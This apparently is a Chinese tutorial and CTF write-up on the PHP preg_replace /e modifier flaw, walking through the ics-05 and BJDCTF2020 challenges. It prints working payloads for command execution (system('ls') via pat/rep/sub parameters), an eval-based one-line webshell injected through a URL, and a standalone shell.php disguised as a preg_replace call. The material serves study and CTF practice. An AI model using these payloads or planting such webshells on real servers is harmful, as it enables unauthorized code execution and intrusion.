漏洞之preg_replace函数
定义:
preg_replace:(PHP 5.5) 功能 : 函数执行一个正则表达式的搜索和替换 定义 :
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
看个例子1-双引号
<?php
echo "{${phpinfo()}}";
?>
单引号
<?php
echo '{${phpinfo()}}';
?>
为什么呢? 在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。 注意:双引号中的函数不会被执行和替换。 这其实是可变变量的原因
我们在看一个例子2
<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${phpinfo()});
?>
说句人话:
特别说明: /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
那我们知道 preg_replace 的 /e 修正符会将 replacement 参数当作 php 代码,并且以 eval 函数的方式执行,前提是 subject 中有 pattern 的匹配。
那么现在我来总结一下:要想漏洞产生要满足的额条件
1./e修饰符必不可少 2.你必须让 subject 中有 pattern 的匹配。 3.可能跟php版本有关系 4.满足可变变量的条件:也就是双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果比如说 'strtolower("\1")'
针对条件3,我举一个例子 比如说:
<?php
function complexStrtolower($regex,$value){
return preg_replace( '/(' . $regex . ')/ei' , 'strtolower ("\\1")', $value);
}
foreach($_GET as $regex => $value){
echo complexStrtolower($regex,$value);
}
?>
patload:
\S*=${phpinfo()}
我们使用php5.6
换成5.5 换成7.0.12试一试 我们在试一试5.4版本
查阅资料发现 那么受用条件也只限于5.5到5.6的php版本
我们在来解释一下为什么可以输出phpinfo()
再来看个例子
下面再说说我们为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。如果这个理解了,你就能明白下面这个问题:
var_dump(phpinfo());
var_dump(strtolower(phpinfo()));
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));
var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));
这里的'strtolower("{{$phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
对于这里最好的解释:
我们再来看一道CTF题目->攻防世界ics-05
我们来看重点就行前面伪协议读取源码不看了
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>
<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;
table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备名', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状态', minWidth: 120, sort: true },
{ field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element;
element.on('nav(demo)', function(elem) {
layer.msg(elem.text());
});
});
</script>
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
我们来使用漏洞函数来进行命令执行
?pat=/abc/e&rep=system('ls')&sub=abc
可以看到,只要满足以上条件,我们就可以对中间进行命令执行,system(‘ls’)相当于eval(system(‘ls’))
我们在看案例二----BUUCTF之BJDCTF2020
第一步伪协议没什么好说的
?text=data:
然后我们直接读取出解密
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
?>
payload=?\S*=${@eval($_POST[cmd])}
直接连接
url=http://dff6b40a-438c-4e37-b0f8-f426b517f042.node4.buuoj.cn:81/next.php?\S*=${@eval($_POST[cmd])}
密码cmd
由此我们又可以引出一个骚操作,不需要写入shell就可以直接连接,我们也并没有去使用他的getflag函数。
实验3
编写shell.php
<?php
preg_replace('/(.*)/ie','strtolower("\\1")','{${@eval($_POST[cmd])}}');
?>
按道理讲我们直接进行蚁剑连接是不行的,因为一句话为字符串。 那我们试一试 为什么呢,就是因为preg_replace函数的漏洞,相当于是eval(@eval($_POST[cmd]))那么这就可以利用了,一句话是我们传进去的,通过get,里面本身就是一个一句话,所以不需要写入直接在url下利用,这跟eval函数的特性有关也跟蚁剑有关。 可以看我的这篇文章一句话木马的深入理解
至此,这个漏洞函数笔者就写完了,意犹未尽。
|